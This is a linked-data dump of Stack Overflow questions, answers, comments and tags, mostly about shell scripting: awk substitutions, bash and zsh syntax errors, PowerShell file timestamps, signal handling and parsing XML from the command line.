http://stackoverflow.com/a/77008602
accepted answer of: http://stackoverflow.com/q/77007882
answers question: http://stackoverflow.com/q/77007882
has comment: http://stackoverflow.com/comment/135756894
type: AcceptedAnswer
score: 0
has body: It looks like you accidentally submitted part of a PowerShell prompt string (PS c:\users) as part of your command, which explains your symptom. Simply omit it to make your command work:[1] (Get-Item "C:\Users\me\Desktop\Holiday Schedule.pdf").CreationTime= "21 November 2022 13:10:00" When you see strings such as PS C:\mytest> preceding PowerShell commands in sample code (such as on the page you link to), that string is merely meant to indicate the commands are PowerShell commands and may be submitted from interactive sessions, where such strings are printed whenever the session is ready to receive a new command via interactive user input. See also: The conceptual about_Prompts help topic, which also discusses how to customize the prompt string. [1] Note that even though a date/time string is assigned, PowerShell automatically converts it to a [datetime] object (System.DateTime), because the target property, .CreationTime, is of that type.
type: Answer

http://stackoverflow.com/comment/135595669
comment on: http://stackoverflow.com/a/76916640
type: Comment
has text: I've checked it with config from your example, it works in linux at least. To debug: firstly run `jq -r '.paths[]' config.json`, if it shows two lines (one per path), then run `zsh -x test.sh`. Suppose it will give some hints
type: AnswerComment
score: 0

http://stackoverflow.com/comment/135589774
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76913434
has text: yeah @tjm3772 it was doing that exactly....
type: QuestionComment

http://stackoverflow.com/comment/135564131
type: QuestionComment
score: 0
type: Comment
has text: Then how about `Restart=always` and `RestartSec=5` or some such? Also, `network.service` has nothing to do with the network being actually up. Everything runs in parallel with `systemd`, so `Wants` and `After` `network.service` merely means that _after_ `network.service` is **started** (not necessarily ready, _up_, or in any other well-defined state), something else will start. Maybe you are looking for `systemd-networkd-wait-online.service` or `NetworkManager-wait-online.service` (or an equivalent unit for whatever network manager you are using).
comment on: http://stackoverflow.com/q/76893847

http://stackoverflow.com/comment/135684318
comment on: http://stackoverflow.com/q/76968047
type: QuestionComment
type: Comment
has text: It is a recurrent venue here. People asking for way to parse XML with sed or grep or awk. Dudes, you are basically trying to open a lock with a screwdriver. You may be able to with enough brute-force if you don't mind the resulting mess.
score: 0

http://stackoverflow.com/a/77034225
has body: This is an attempt, hope it can be adapted to meet your requirements : #!/bin/sh input=/tmp/pipe-input output=/tmp/pipe-output # Wait for commands from $input and send results to $output server(){ rm -f $input $output mkfifo $input $output while true; do echo "Hello from server." >&2 eval "$(cat $input)" > $output done } client(){ cat > $input; cat $output } # Send commands to server every second. test-client(){ for i in {1..6}; do client <<< 'echo $(date +%T) server hostname=$(hostname), server bash PID=$$' sleep 1 done client <<< 'exit' } "$@" In one window, run bash test.sh server In another window, run bash test.sh test-client I think the usage of eval is "tolerable" as you are in control of the commands to run.
type: AcceptedAnswer
upvote count: 3
downvote count: 0
score: 3
type: Answer
answers question: http://stackoverflow.com/q/77031983
accepted answer of: http://stackoverflow.com/q/77031983

http://stackoverflow.com/comment/135566580
type: QuestionComment
has text: The key piece of information missing in your question is why you expect file creation over SSH to have a local effect. My assumption is that both machines share a network-based or distributed filesystem. Which most likely works with a concept of distributed clocks or “generations” of some sort, for which it should be possible to wait passively using a filesystem-specific command line utility.
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76898164

http://stackoverflow.com/comment/135772297
type: Comment
comment on: http://stackoverflow.com/q/77016713
score: 0
has text: @user3840170 because you executed the commands between parenthisis! That's the answer. If I execute (cmd1;cmd2;cmd3) it creates a subshell for each, so the SIGINT kills only the command that received it, not the whole sequence.
type: QuestionComment

http://stackoverflow.com/comment/135595697
has text: Yes, that's right @Philippe. I am using `bash 3.2`. Thank you
score: 0
type: Comment
comment on: http://stackoverflow.com/a/76916586
type: AnswerComment

http://stackoverflow.com/comment/135806030
type: Comment
has text: Have a look at the bash man page about the syntax of the `if` statement. Its form is `if COMMAND`, and the _if_ takes the _then_-branch, if _COMMAND_ sets exit code 0. `$choice = "1"` tries to run the command `$choice` - in your case `5` - with the arguments `=` and `1`. Since you don't have a command `5` in your PATH, you get the error message _command not foun_.
comment on: http://stackoverflow.com/q/77036497
score: 3
type: QuestionComment

http://stackoverflow.com/a/76943887
has comment: http://stackoverflow.com/comment/135738152
has comment: http://stackoverflow.com/comment/135665550
has body: step 5 expecting tabbar to be hidden. You can try to push pages to the navigation stack when you click ListPage and navigate to DetailPage. For example: await Navigation.PushAsync(new DetailsPage()); For more information, check document: NavigationPage.
type: Answer
score: 0
answers question: http://stackoverflow.com/q/76917412

security
tags question: http://stackoverflow.com/q/76909230
type: Tag
tag name: security
tags question: http://stackoverflow.com/q/77070425
tags question: http://stackoverflow.com/q/77788003

http://stackoverflow.com/a/77115824
type: Answer
has body: $ awk -F'=' -v OFS='=' ' NR==FNR{ key="@"$1"@"; sub(/^[^=]*=/,""); a[key]=$0; next } $2 in a { $2=a[$2] }1 ' testfile2.txt testfile1.txt ## START :: start of file ## path.mw.site.profiles=/mw/mysite/cfg/DATA1/ # path.mw.site.broker.profiles=/usr/local/mw/mysite/cfg/DATA2/=/mydirectory/ # path.mw.site.profiles=/mw/mysite/cfg/DATA1/ # path.mw.site.broker.profiles=/usr/local/mw/mysite/cfg/DATA2/=/mydirectory/ ## END :: end of file ##
score: 0
answers question: http://stackoverflow.com/q/77006285

leiningen
tags question: http://stackoverflow.com/q/77009102
type: Tag
tag name: leiningen

http://stackoverflow.com/q/76993557
has comment: http://stackoverflow.com/comment/135729396
linked to: http://stackoverflow.com/q/701166
answer count: 2
has comment: http://stackoverflow.com/comment/135732382
tagged with: linux
tagged with: http://stackoverflow.com/tag/xml
has comment: http://stackoverflow.com/comment/135729374
has body: I have xml file with lots of data in it. But some of the tags has been on another line instead of on same line. I need to do this using shell script Input Product testing machine Expected Output Product testing machine In input I have given the extra line as input is also showing as same as output . The input data is not in single line and i want it in single line , also want to do the changes in same file.
type: Question
has comment: http://stackoverflow.com/comment/135729702
has comment: http://stackoverflow.com/comment/135730592
has comment: http://stackoverflow.com/comment/135729579
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/76993801
linked to: http://stackoverflow.com/q/3961217
score: 0
linked to: http://stackoverflow.com/q/6751105
tagged with: shell
linked to: http://stackoverflow.com/q/8577060
has answer: http://stackoverflow.com/a/76995492
has title: Remove extra lines and spaces from xml file using shell script

http://stackoverflow.com/comment/135641925
score: 0
comment on: http://stackoverflow.com/q/76943562
type: QuestionComment
type: Comment
has text: @Alegría, does catting all of the files to the `awk` resolve the summary issue?

http://stackoverflow.com/comment/135811334
has text: BTW, if your XML document contains a namespace declaration like `xmlns="...something..."` upstream from where this data is, that can break some answers (particularly, it'll break the _most correct and robust_ answers, since they'll use tools that are syntax- and namespace-aware). Be sure you're giving folks enough information about context to be able to create something that's valid for your real document, not just for your 2-line sample.
type: QuestionComment
comment on: http://stackoverflow.com/q/77039334
score: 0
type: Comment

http://stackoverflow.com/comment/135634771
type: Comment
type: AnswerComment
score: 0
has text: With any POSIX shell you can do `NL='` return `'`
comment on: http://stackoverflow.com/a/76939845

http://stackoverflow.com/comment/135766273
type: Comment
comment on: http://stackoverflow.com/a/77009428
type: AnswerComment
has text: Thanks a bunch, that's exactly what I was looking for! - Unfortunately, my reputation is too bad to give you an 'arrow up'. Stupid, this. You deserved it! What I was mostly missing was the reverse numeric order, for which I had no clue in shell script. Thanks again!
score: 0

http://stackoverflow.com/q/76942752
has body: I found an odd issue in bash I used HERE-doc as below source &lt;(cat &lt;&lt; EOL | tee /tmp/buildvar_eval.sh TODAY=$(date +%y%m%d) PATH_JOB=$HOME PATH_SRC=${PATH_JOB}/aaaa PATH_OUT=${PATH_SRC}/bbbb echo [$PATH_SRC][$PATH_OUT] EOL ) What I expected is [/home/myaccount/aaaa][/home/myaccount/bbbb] but it outpus below. I executed it same terminal 4 times. 1st try: it print out [][] 2nd try: it print out [aaaa][bbbb] 3rd try: it print out [/home/myaccount/aaaa][/home/myaccount/bbbb] 4th try: it print out [/home/myaccount/aaaa][/home/myaccount/bbbb] it seems like it does not recusivly evaluate value in HERE-doc Q1. what's root causing this? Q2. is there other way to do overcome?
score: 0
type: Question
tagged with: heredoc
tagged with: shell
has title: bash HERE document evaluation
type: UnansweredQuestion
tagged with: environment-variables
answer count: 1
tagged with: bash
has answer: http://stackoverflow.com/a/76942856

http://stackoverflow.com/comment/135586820
type: Comment
comment on: http://stackoverflow.com/a/76911815
type: AnswerComment
has text: Did you try the first? Try adding `.absolute()`. And, also, execute the shell explicitly. The erro may come because the executable in shebang in the script does not exists. Did you read the linked question in the comment above?
score: 0

http://stackoverflow.com/comment/135718802
has text: `/${SALT_START}` is missing the closing slash.
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/76987590
type: Comment

http://stackoverflow.com/a/76952426
has comment: http://stackoverflow.com/comment/135666747
type: Answer
answers question: http://stackoverflow.com/q/76952315
has body: awk is not the best tool for this, but you can certainly just do: awk 'FNR==NR{a[$1]=$2; next} {for( i in a) gsub("@"i"@", a[i])}1 ' FS== testfile2.txt testfile1.txt You scan the 2nd file and build a lookup table, then iterate over the lookup table for each line of the first file. Terribly inefficient, but easier than trying to pick the index out of the line. (It can be done with awk, but it's so much easier with perl that I am not even willing to go remember how to do it.) If your data is small enough, this should be fine. If the processing takes too long (more than .5 seconds), spend time on efficiency. (eg, use perl) On the other hand, avoiding the loop is not too bad: awk 'FNR==NR{a[$1]=$2; next} match($0, "@[^@]*@"){ i=substr($0, RSTART+1, RLENGTH-2 "@"); gsub("@"i"@", a[i]); }1 ' FS== testfile2.txt testfile1.txt The FNR==NR expression is a standard awk idiom for restricting the command block to the first file, where we build the lookup table. In the second file, we use match to see if there is a pair of @ signs, and then pull out the text between them using RSTART and RLENGTH. gsub does the substitution. This is neither robust nor reliable, but should suit your immediate needs.
score: 4
upvote count: 4
has comment: http://stackoverflow.com/comment/135680402
downvote count: 0

http://stackoverflow.com/comment/135756894
has text: That worked - excellent!! Thanks so much for the teaching moment. I bookmarked your suggested link. I don't need to do this too often but it will be a good resource.
score: 0
comment on: http://stackoverflow.com/a/77008602
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135601280
type: Comment
type: AnswerComment
has text: @F.Zer : The quotes are usually not relevant, since zsh does word splitting before parameter expansion. But if you use for an array the syntax with `[@]`, i.e. `"{arrayname[@]}"`, the quotes matter.
comment on: http://stackoverflow.com/a/76916640
score: 1

http://stackoverflow.com/comment/135825047
has text: ```FileSystemWatcher``` is known to fire multiple events sometimes - see https://github.com/microsoft/dotnet/issues/347 or search StackOverflow for "FileSystemWatcher multiple events. It's either a bug, or maybe because the program writing the file is making two separate changes and they're triggering two events. One suggested workaround is to cache the filenames from events and wait to see if another arrives shortly after, and process the "duplicates" as one event - see examples here: https://stackoverflow.com/questions/1764809/filesystemwatcher-changed-event-is-raised-twice?page=2&tab=votes
score: 1
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77046185

http://stackoverflow.com/a/77058153
type: Answer
has body: You can use some regex and awk to somewhat fit your need. Let's say your data stored in test.csv. cat test.csv | sed -r 's/("\s*,|,\s*"|"\s*,\s*")/\\,/g' | tr -d '"' | awk '{split($0, array, "\\\\,"); print array[2]}' # ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ # 1 2 3 sed -r 's/("\s*,|,\s*"|"\s*,\s*")/\\,/g' : replace all "outer" comma and double quote into \, based on regex. example cases: ", ," ",". (You can choose other delimiter rather than \,.) tr -d '"' : remove the double quote at beginning and the end. awk '{split($0, array, "\\\\,"); print array[2]}' : split the delimiter via awk. (ref: How to split a delimited string into an array in awk?) # result Foo News, Videos - Android Bar News, Movie - iOS To parameterize column, just in case, you need to adjust single quote to escape variable in awk: show_column () { column=$1 cat test.csv | sed -r 's/("\s*,|,\s*"|"\s*,\s*")/\\,/g' | tr -d '"' | awk '{split($0, array, "\\\\,"); print array['${column}']}' } $ show_column 1 Foo News, Videos (Android) Bar News (iOS) $ show_column 2 Foo News, Videos - Android Bar News, Movie - iOS $ show_column 3 Foo News, Videos (Android) Bar News & Movie (iOS) Note If there are some cases like foo,bar,bar (without any double quotes) in your csv, you need to remove the sed part, just use awk to work. Because regex above are based on double quotes. If there are pure comma in column, e.g. "foo", ",", ",", "bar", should change regex to. The key strategy is to replace "outer" comma. About putting variables inside of single quote, the escape pattern is something like: # before 'foobar' #|^^^^^^| # after 'foo'${my_var}'bar' #|^^^| |^^^|
score: 0
answers question: http://stackoverflow.com/q/77045684

http://stackoverflow.com/q/76996212
has comment: http://stackoverflow.com/comment/135734619
has comment: http://stackoverflow.com/comment/135734624
has title: Are conflicts possible when writing multiple separate files using foreach R parallel?
has comment: http://stackoverflow.com/comment/135735195
tagged with: io
has body: Since I cannot provide a reproducible example I will give you a description. I need to process some thousand images with an image editing software (i.e. Rawtherapee). In essence, I am using foreach in R to parallelize the use of Rawtherapee so that each worker generated by R will use command-line version of Rawtherapee by callying shell. The steps are as follow: I created a list with N elements in which I stored the file paths of the images. N is the number of cores I will use. The name of each file is modified by adding a tag which allows to assign it to a specific iteration of foreach. each worker generated by foreach receive the chunk of the list of files that correspond to its number. And it creates the command to be passed to rawtherapee-cli the worker call shell and start processing with rawtherapee-cli: the image is read, modified and then saved. To give you an idea, my call to foreach is like this: nc = cpus cl = makeCluster(nc, type = "PSOCK") cl registerDoParallel(cl) foreach(i= seq_along(set_split), .combine='c', .inorder=FALSE, .errorhandling='remove') %dopar% { script to generate the command for the cli shell(cmd_string, intern=F,wait=T) } I'm on a Windows 10 machine and shell will call cmd by default (as far as I understand). As you can understand, all the workers will have to write multiple files (i.e., each image they process), separately, on the hard drive. My code works apparently fine. However I just realized that, at the end of the job, I was missing some images. The number of missing files were more or less similar in each chunk, and in different positions in the sequence of paths, with no apparent pattern. I inspected and tested my code thoroughly and I can't see a bug. My question is: is it possible that if 2 workers try to write their own file at the same time - or almost - they have some sort of conflict that prevent one of the 2 to be written (although it is not the same file name)? If yes, how can this problem be addressed? Thanks.
score: 0
type: Question
has comment: http://stackoverflow.com/comment/135777640
tagged with: shell
answer count: 0
tagged with: parallel-processing
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/r
tagged with: multiple-instances

http://stackoverflow.com/comment/135595577
comment on: http://stackoverflow.com/a/76916586
score: 0
type: Comment
has text: I upvoted, thank you for your answer. In my system, there is no `mapfile` command, so I can't test.
type: AnswerComment

http://stackoverflow.com/comment/135648699
comment on: http://stackoverflow.com/a/76947075
type: Comment
type: AnswerComment
has text: But as you said if "double quotes to be part of the string then I have to use \ or '. It confusing me. If ```"hostname:port"``` interpreted as ```hostname:port``` then answer of above comment should be "no", as double quotes are part of the command.
score: 0

http://stackoverflow.com/q/77036497
has title: Bash if statement outputs "no such file or directory" when comparing a variable to a choice
has comment: http://stackoverflow.com/comment/135806030
score: -1
type: Question
has body: I have a file named main.sh, which acts as a launcher for other shell scripts. contents of main.sh #! /bin/bash echo " -----------------------------------------------" echo " / \\" echo "| Welcome to myprogram |" echo " \\ /" echo " -----------------------------------------------" echo echo echo "1: Ping" read -p "What is your choice ? " choice if $choice = "1" then echo "Launching Ping" ./netscrubber/ping.sh else # Bad number echo "There's no tool with number $choice" read -p "Please try again. Quitting, clear screen ? [y/n, default n]" isclear $isclear=${isclear:-n} if $isclear="y" then echo "Exiting and clearing..." sleep 1 echo "4" sleep 1 echo "3" sleep 1 echo "2" sleep 1 echo "1" sleep 1 clear exit else echo "Exititng without clearing." exit fi fi Basically, if i type a number that is not in the list, it goes to the # Bad Number section. I run main.sh, choose 5 (a bad number, which will go to the # bad number tag, which results in ./main.sh: line 16: 5: command not found Also, the clear after a bad number foes not work. If i type Y when Please try again. Quitting, clear screen ? [y/n, default n] is on the screen, i should get: Exiting and clearing 4 3 2 1 and then a clear. I get Please try again. Quitting, clear screen ? [y/n, default n]y ./main.sh: line 25: y=y: command not found ./main.sh: line 27: y=y: command not found Exititng without clearing. which is behaviour that answering n should do (minus the errors) Any help would be much appreciated. Steps to reproduce I run main.sh, choose 5 (a bad number, which will go to the # bad number tag, which results in ./main.sh: line 16: 5: command not found The read input should not be treated as a command, rather an input into the $choice variable. It, however passes onto to # Bad number, just throws an error. However, the clear after a bad number does not work. If i type Y when Please try again. Quitting, clear screen ? [y/n, default n] is on the screen, i should get: Exiting and clearing 4 3 2 1 and then a clear. …
linked to: http://stackoverflow.com/q/19733437
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135806070
has answer: http://stackoverflow.com/a/77037993
tagged with: bash
has comment: http://stackoverflow.com/comment/135806061
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/135805845
downvote count: 1
has comment: http://stackoverflow.com/comment/135805857
duplicate of: http://stackoverflow.com/q/19733437
duplicate of: http://stackoverflow.com/q/8934012
tagged with: macos
upvote count: 0
tagged with: shell

unset
tag name: unset
type: Tag
tags question: http://stackoverflow.com/q/77058657

http://stackoverflow.com/q/77000910
has answer: http://stackoverflow.com/a/77001322
tagged with: xcode
has answer: http://stackoverflow.com/a/77002151
tagged with: xcodebuild
type: AnsweredQuestion
has title: How to check whether xcodebuild succeeded in the post-action shell?
accepted answer: http://stackoverflow.com/a/77001322
possible better answer: http://stackoverflow.com/a/77002151
answer count: 2
score: -1
type: Question
tagged with: macos
upvote count: 0
tagged with: shell
tagged with: ios
has body: Is there any way to check if xcodebuild is successful in the post-action shell? I want to run a custom script only when the build succeeds. I checked env vars with the set command in the post-action shell, but couldn't find a suitable var.
favorite count: 0
downvote count: 1

http://stackoverflow.com/comment/135619644
type: QuestionComment
comment on: http://stackoverflow.com/q/76928930
score: 0
type: Comment
has text: @C.Nivs Thanks a lot! In your second link I found an amazing package that in a simple way does exactly what I want!

keycloak
type: Tag
tags question: http://stackoverflow.com/q/77009944
tag name: keycloak

http://stackoverflow.com/a/76980843
score: 0
type: Answer
has body: Solution in TXR: I augmented the data to test more cases: the pattern occurs twice in my , and I have a element in which the pattern occurs, but must not be edited: $ cat xml "eth0" 192.168.1.2 1123 "eth0" 192.168.1.2 1123 "eth1" 192.168.1.22 6789 "eth0" 192.168.1.2 1123 "Name" 192.168.1.2 1123 "eth0" 192.168.1.2 1123 It's edited only in the right places: $ txr edit.txr xml "eth0" 192.168.1.2 1123 "eth0" 111.111.111.111 1123 "eth1" 192.168.1.22 6789 "eth0" 111.111.111.111 1123 "Name" 192.168.1.2 1123 "eth0" 192.168.1.2 1123 Where edit.txr: @(repeat) @ (cases) @ (do (put-line " ")) @ (repeat) @ (cases) "eth0" 192.168.1.2 1123 @ (output) "eth0" 111.111.111.111 1123 @ (end) @ (or) @ line @ (do (put-line line)) @ (end) @ (last) @ (end) @ (or) @ line @ (do (put-line line)) @ (end) @(end) How it works is that we have an outer @(repeat) which is doing a sliding pattern scan, looking for two cases: a block that starts with , or a fallback case which matches one line that can be anything. When the fallback case occurs, the line is output. Whatever is matches is consumed and so the scanning starts with the next line. The primary case begins with a match for . If that succeeds, then is output and a nested scan takes place similar to the outer one: look for the three-line pattern to be replaced, or else fall back on consuming and outputting one line. The inner @(repeat) terminates when an closing tag is seen.
answers question: http://stackoverflow.com/q/76978039

http://stackoverflow.com/a/76944424
downvote count: 0
score: 1
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/76936679
has body: So I finally got the answer. The thing is that when the process was forked (let's say we ran /usr/bin/cat) and then interrupted with SIGINT the wait called failed and the parent was unwaited for (thus creating a zombie and messing will all the other wait calls). If we ran after that command, a command such as /usr/bin/ls the process encountered the previous zombie that had been unwaited for, returned early, printed the prompt and only after the ls command printed its output. The solution is to set sa.sa_flags = SA_SIGINFO | SA_RESTART (in function init_sig) so that the wait call will be restarted when SIGINT is received. I hope my troubles will help some other people, thanks to those who tried to come up with hints and workarounds

http://stackoverflow.com/a/77161110
score: 0
has body: Using awk and as it always finishes in .tar (thus the -4) awk -F '[^0-9]' '{print $(NF-4)}'
answers question: http://stackoverflow.com/q/77050349
type: Answer

http://stackoverflow.com/comment/135608307
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76917412
has text: yes, that is the intent.
score: 0

linux-kernel
type: Tag
tag name: linux-kernel
tags question: http://stackoverflow.com/q/76915647

http://stackoverflow.com/comment/135816142
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77042151
score: 0
has text: @Mofi I suppose that the key is MinGW64 Shell think `/C` is a path not a argument according to "Performance of different terminals" I posed above and [this](https://superuser.com/questions/1413103/execute-cmd-command-with-shell) . Well what you mentioned above, how terminal deals with `"` is also interesting

http://stackoverflow.com/comment/135811017
comment on: http://stackoverflow.com/a/77039535
type: Comment
type: AnswerComment
score: 3
has text: Would not recommend parsing XML with regular expressions.

http://stackoverflow.com/comment/135588816
score: 0
has text: Be it with the `--argjson` option or the `fromjson` filter, jq can only parse valid JSON as JSON. You can, however, manually parse any literal string, even character by character if you need to.
type: Comment
comment on: http://stackoverflow.com/q/76913125
type: QuestionComment

http://stackoverflow.com/comment/135815633
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77042018
has text: thanks for your quick response, I want to leave the test naming up to the person writing the test. if i use this and the test name has a space we'll get only the first word is it possible to get a range from the second word to the end? Also, i assume this would not directly work with the logs file of the command output, i see we're taking the 2nd result from cut, but for command's log i need the entire line.
score: 0

http://stackoverflow.com/comment/135576988
score: 1
comment on: http://stackoverflow.com/q/76901704
type: QuestionComment
has text: `let` itself is non-POSIX syntax bash supports only for backwards compatibility. Use either regular string assignments (`foo=$bar`) or POSIX arithmetic contexts (`foo=$(( bar ))`. For strings that aren't numeric in nature, neither `let` nor any other kind of arithmetic context is appropriate at all.
type: Comment

http://stackoverflow.com/a/77049489
downvote count: 1
accepted answer of: http://stackoverflow.com/q/77038582
score: -1
answers question: http://stackoverflow.com/q/77038582
type: Answer
has body: Ok guys thx for your thoughts. I found solution on my own and want to share it with you. Its maybe more like a workaround and fiddly but in the end does what I want. Step 1: Delete all newlines and replace them with some indicator so every 2 lines become 1 line sed -i 'N;s/\n/ ## /' file Step 2: On recurring part in every link insert an indicator for sort sed -i 's/recurringpart\//recurringpart\/~/g' file Step 3: Use sort to tidy up the mess. sort -t~ -k2 -g -r -o file file Step 4 : Replace the "newline indicator" with newline so every line gets separated in 2 lines again sed -i 's/ ## /\n/g' file Step 5: Remove the sort indicator sed -i 's/recurringpart\/~/recurringpart\//g' file
type: AcceptedAnswer
upvote count: 0
has comment: http://stackoverflow.com/comment/136301855

http://stackoverflow.com/comment/135813955
type: QuestionComment
has text: If you want to track down a specific problem, use `bash -x yourscript` to run with tracing enabled; there are too many bugs here (most of them related to missing quoting) for us to guess which one is your immediate problem.
type: Comment
comment on: http://stackoverflow.com/q/77041015
score: 0

http://stackoverflow.com/q/76905287
has title: getopts doesn't execute some flags
has comment: http://stackoverflow.com/comment/135603424
has comment: http://stackoverflow.com/comment/135607709
has comment: http://stackoverflow.com/comment/135579241
tagged with: zsh
has comment: http://stackoverflow.com/comment/135579604
score: 0
type: Question
tagged with: getopts
has comment: http://stackoverflow.com/comment/135603502
tagged with: shell
answer count: 0
has comment: http://stackoverflow.com/comment/136306908
type: UnansweredQuestion
has body: I am writing a zsh script to make easier the use of the git clone command. The -h and -s flags works fine, but the -d and -q flags don't. I tried to see if they worked by adding echo $dir and echo $quiet, but I've got nothing in result (they were empty). I wanted to use the flags and the out-of-the-box method. This is the code I wrote: #!/usr/bin/zsh # Git clone function clone() { usage=("Usage: $0 [-h http] [-s ssh] [-d dir] -q Options: -h Use the http protocol to clone the git repo (https://github.com/<your repository>) -s Use ssh to clone the git repo (git@github.com:<your repository>) -d Destination Directory -q Quiet clone") githttp=(git clone https://github.com/) gitssh=(git clone git@github.com:) while getopts ":h:s:d:q:" opt; do case "$opt" in h) http=$OPTARG $quiet $githttp$http $dir return $? ;; s) ssh=$OPTARG $quiet $gitssh$ssh $dir return $? ;; d) dir=$OPTARG ;; q) quiet=(gum spin) ;; *) echo "Invalid option" echo $usage return 1 ;; esac done method=$(gum choose "http" "ssh") case "$method" in http) http=$(gum input --prompt=" " --placeholder="Type url here") dir=$(gum input --prompt=" " --placeholder="Type here the directory. Leave blank for current") if | -z $dir ; then echo "Exiting..." return 1 else $githttp$http $dir fi ;; ssh) ssh=$(gum input --prompt=" " --placeholder="") dir=$(gum input --prompt=" " --placeholder="Type here the directory. Leave blank for current") if | -z $dir ; then echo "Exiting..." return 1 else $gitssh$ssh $dir fi ;; *) echo "Exiting..." return 1 ;; esac } How can I fix this problem? Thanks.

http://stackoverflow.com/comment/135786245
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77025220
has text: (also, you're missing some quoting -- `openChan_sim "${channels[$index]}" -d -p "${priority[$index]}" -s "${objserv[$index]}"` will give you better error messages / more predictable behavior if you ever have an invalid index value passed, values for an argument that contain whitespace or glob characters, etc).
score: 1

http://stackoverflow.com/comment/135724816
has text: @Dr.PB if the above string is formatted as the original one, the above solution should solve either. But if the format is not the same perhaps another question would serve you better.
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76990052

http://stackoverflow.com/comment/135803272
type: Comment
comment on: http://stackoverflow.com/a/77028857
type: AnswerComment
score: 0
has text: Thank You adding quotes giving expected result.

http://stackoverflow.com/comment/135665550
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76943887
score: 0
has text: using the "AppShell" approach; which is incompatible with the Navigation.PushAsync() ... I dont know why, that is what the documentation indicates: "NavigationPage is incompatible with .NET MAUI Shell apps, and an exception will be thrown if you attempt to use NavigationPage in a Shell app. For more information about Shell apps, see Shell."

http://stackoverflow.com/comment/135634980
comment on: http://stackoverflow.com/a/76939972
score: 1
has text: That is very elegant (and I feel a bit stupid now). However, it depends on the first command issuing the newline character. For example, it will not work if echo is replaced by `echo -n`.
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135761205
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77010843
has text: In some description field text have comma (,) in text and when I write in csv file, it is changing format so I am trying to replace comma with some other character so csv file column does not get messed up.
score: 0

http://stackoverflow.com/comment/135821277
type: Comment
comment on: http://stackoverflow.com/a/77038661
type: AnswerComment
score: 0
has text: tried that code but seems tricky. replaced <infile with input file but bash wants permissions. after set to 755 it works but with error message folder or file not found and output to new file is empty. also from screen output i could see the sorting is not like i need it.

http://stackoverflow.com/comment/135770858
score: 1
type: QuestionComment
type: Comment
has text: One option would be to set up a [`trap`](https://www.linuxjournal.com/content/bash-trap-command) to manually handle `SIGINT`
comment on: http://stackoverflow.com/q/77016713

http://stackoverflow.com/comment/135560979
type: QuestionComment
comment on: http://stackoverflow.com/q/76896657
type: Comment
has text: Hi, @RenaudPacalet Thank you for your reply. I added (#!/bin/bash) before the script then the same result did not pass the TRUE condition.
score: 0

http://stackoverflow.com/comment/135589749
score: 0
comment on: http://stackoverflow.com/q/76913434
type: QuestionComment
has text: `jq` surrounds string fields in quotes in its output by default. You can use `jq -r` to disable this and have it write the strings to stdout without the quotes and then the variable will actually be empty.
type: Comment

http://stackoverflow.com/comment/135635001
score: 0
has text: @jhnc: If `NL='line-break'` is POSIX compatible, is the same true for `NL="line-break"` ? (This is my first solution.)
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76939845

http://stackoverflow.com/comment/135657191
type: QuestionComment
has text: That is pure Python string manipulation. Just concat or format the string: `device.shell('input text "{}"'.format(content))`
type: Comment
comment on: http://stackoverflow.com/q/76951169
score: 0

http://stackoverflow.com/a/77002151
score: 0
answers question: http://stackoverflow.com/q/77000910
type: Answer
has body: You can use post-action of Archive action. It's called only if build was successful

http://stackoverflow.com/comment/135789702
score: 1
type: QuestionComment
type: Comment
has text: `grep -o` can be used to print each match on its own line (instead of sed)
comment on: http://stackoverflow.com/q/77027254

http://stackoverflow.com/comment/135780088
comment on: http://stackoverflow.com/q/77021831
has text: Does the user of the node process have execute permission for that file?
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/135587388
comment on: http://stackoverflow.com/a/76910838
type: Comment
type: AnswerComment
score: 2
has text: Always quote your variables - use `echo "$i"`, not `echo $i`. See https://mywiki.wooledge.org/Quotes and http://shellcheck.net is your friend.

http://stackoverflow.com/comment/135710643
score: 0
has text: Assuming that `commandB -i myfile.BBB` tells `commandB` to read `myfile.BBB` as it's input, both of those scripts have `commandB` discarding the output of the `commandA "$file" | awk '{ print }'` at the start of the line, the first one then has `commandB` trying to read a file that doesn't exist, and the second one then calls `commandA "$file" | awk '{ print }'` a second time and then has `commandB` reading a temp file name that doesn't have the desired extension and contains **content** where every `.AAA` at the end of a line has been changed to `.BBB`. So neither does what's wanted.
comment on: http://stackoverflow.com/a/76980511
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135595492
type: QuestionComment
type: Comment
has text: "why one “wait” blocks and the other doesn’t?" - the first "wait" terminated with code 130 (128+SIGINT), i.e. that's not 12 from a child, it's own termination despite the written "child exited" in echo output
comment on: http://stackoverflow.com/q/76915647
score: 0

http://stackoverflow.com/a/77022553
type: Answer
downvote count: 1
has body: cd ./tools/darwin/ && ./adb are two different commands, every command will executed from where ever you are. const { exec } = require('child_process'); // const CHANGE_DIRECTORY_COMMAND = "cd ./tools/darwin/" // const EXECUTE_ADB_COMMAND = "./adb" const CHANGE_DIRECTORY_COMMAND = '/tools/darwin/' const EXECUTE_ADB_COMMAND = 'adb' // exec(`${CHANGE_DIRECTORY_COMMAND} && ${EXECUTE_ADB_COMMAND}`, (error, stdout, stderr) => { // }); exec(EXECUTE_ADB_COMMAND, { cwd: CHANGE_DIRECTORY_COMMAND}, (error, stdout, stderr) => { });
has comment: http://stackoverflow.com/comment/135781603
has comment: http://stackoverflow.com/comment/135781596
score: 0
